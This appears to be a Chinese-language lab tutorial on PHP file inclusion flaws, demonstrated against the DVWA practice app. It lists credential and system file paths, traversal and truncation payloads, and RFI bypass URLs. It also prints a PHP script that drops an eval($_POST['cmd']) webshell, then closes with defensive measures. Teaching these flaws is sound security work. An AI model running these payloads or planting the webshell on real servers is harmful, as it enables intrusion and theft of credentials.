事缓则圆 太过着急就会降低标准 希望大家都能找到自己的满分答案。
php中文件包含函数
01.require:
require:函数出现错误时,会直接报错并退出程序执行。
require_once:出错时直接退出;且仅包含依次。在脚本执行期间同一个文件可能被多次引用,确保只包含依次以避免函数重定义、变量重新赋值问题。
02.include:
include:函数出现错误时,会抛出一个警告,程序继续运行。
include_once:函数出现错误时,会抛出警告,且仅包含一次。
文件包含漏洞类型及利用
本地文件包含(LFI):被包含的文件在服务器本地。
利用方式:包含本地敏感文件、上传文件。
远程文件包含(RFI):被包含的文件在远程服务端。
利用方式:包含攻击者指定远程url文件。
本地文件包含漏洞
包含系统文件
包含上传文件
下面我们用DVWA来掩饰一下
进入file1.php
发现page的参数变为了file1.php
所以我们可以认为page的参数被包含了。我们可以尝试一下包含本地系统文件。
C:/Windows/win.ini
在WWW里创建一个56.php。
我们尝试一下去包含这个文件
当我们的上传的文件后缀不是php时,如
我们仍可以包含。所以包含文件内容只要符合php语法都能被当成php代码进行解析,无关后缀名是什么。
所以,有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析。
一些常见的敏感目录信息路径:
Windows系统:C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息
Linux/Unix系统:/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件
本地文件包含配合日志文件
然后我们在其他页面输入后门
然后查看日志文件
发现浏览器自动url编码了。所以我们要抓包传入。
然后再查看发现正常了。
然后再包含日志文件发现后门执行成功
利用file协议包含
显示本地文件:
利用php://filter协议
主要用来查看源码。直接包含php文件时会被解析,不能看到源码,故使用filter协议来读取
利用zip://、baip2://、zlib://协议
zip://、baip2://、zlib://协议利用条件为php版本大于5.3.0,都属于压缩流,可以访问压缩文件中的子文件。
格式:zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
我们在D盘里创建一个1.zip的文件
然后访问,执行成功。
利用phar://协议
类似于zip协议,但是可以使用相对路径。
格式:phar://[压缩文件绝对/相对路径]/[压缩文件内的子文件名]
.
远程文件包含漏洞
包含远程文件
要求:php.ini中设置allow_url_fopen=On(默认)、allow_url_include=On(php5.2后默认为off)
包含远程shell
我们在WWW下创建一个1.txt:
<?php
$payload="<?php eval(\$_POST['cmd']);?>"
$myfile=fopen('demo.php','w') or die("can't open the file");
fwrite($myfile,$payload);
fclose($myfile);
?>
$payload="<?php eval(\$_POST['cmd']);?>"
:这一行定义了一个字符串变量$payload
,其内容是一个PHP代码片段,它会执行通过HTTP POST方式提交到服务器并在$_POST['cmd']
中获取的任何命令。
$myfile=fopen('demo.php','w') or die("can't open the file");
:尝试以写入模式('w')打开或创建一个名为demo.php
的文件,并将文件句柄赋值给变量$myfile
。如果无法打开文件,则脚本停止运行并输出“can't open the file”。
fwrite($myfile, $payload);
:使用fwrite
函数将之前定义在$payload
中的PHP代码写入到$myfile
指向的文件(即demo.php
)中。
fclose($myfile);
:此函数用于关闭已打开的文件资源$myfile
,确保写入操作完成且释放系统资源
访问代码:
然后发现生成了demo代码
然后用蚁剑连接即可
利用php://input协议
主要用来接收post数据,将post请求中的数据作为php代码执行。
也需要开启allow_url_fopen=On(默认)、allow_url_include=On
利用data://协议
将原本的include的文件流重定向到了用户可控制的输入流中。必须再双on的情况下才能正常使用。
本地文件包含绕过方式
#!php
<?php include("inc/".$_GET['file'].".htm");?>
%00截断:条件:magic_quotes_gps=off php版本<5.3.4
?page=../../../../phpinfo.php%00
php内核由c语言实现,因此使用了C语言中的字符串处理函数,在连接字符串时0字节作为字符串的结束符,%00url解码为0×00,magic_quotes_gps开启时会将%00转义为\0的两个单体字符,故不具备截断功能。
%00截断目录遍历:
条件:magic_quotes_gps=off unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris
?page=../../../../var/www/%00
路径长度截断: 条件:php版本小于5.2.8,Windows下目录最大长度为256字节,超出的部分会被丢弃;linux下目录最大长度为4096字节,超出的部分会被丢弃。
?page=../../../../phpinfo.php./././././././.[...]/./././././
点号截断:条件:php版本小于5.2.8,只适用于Windows操作系统,点号需长于256
?page=../../../../phpinfo..................[...]...........
这样就会把强加的丢弃掉了。
远程文件包含绕过方式
<?php
$basePath=$_GET['path'];
require_once $basePath."/action/m_share.php";
?>
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=http://localhost/shell.php?
实际执行了:require_once http://localhost/shell.php?/action/m_share.php
将/action/m_share.php作为http://localhost/shell.php的querystring
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=http://localhost/shell.php%23
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=http://localhost/shell.php%20
文件包含漏洞危害及防御
危害 :获取敏感信息;执行任意命令;获取服务器权限。
防御:
尽量不使用动态包含,无需情况下设置allow_url_include和allow_url_fopen为关闭;
对可以包含的文件进行限制:使用白名单的方式,或者设置包含的目录,open_basedir;
严格检查用户输入,参数中不允许出现../之类的目录跳转符;
严格检查变量是否初始化;
不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。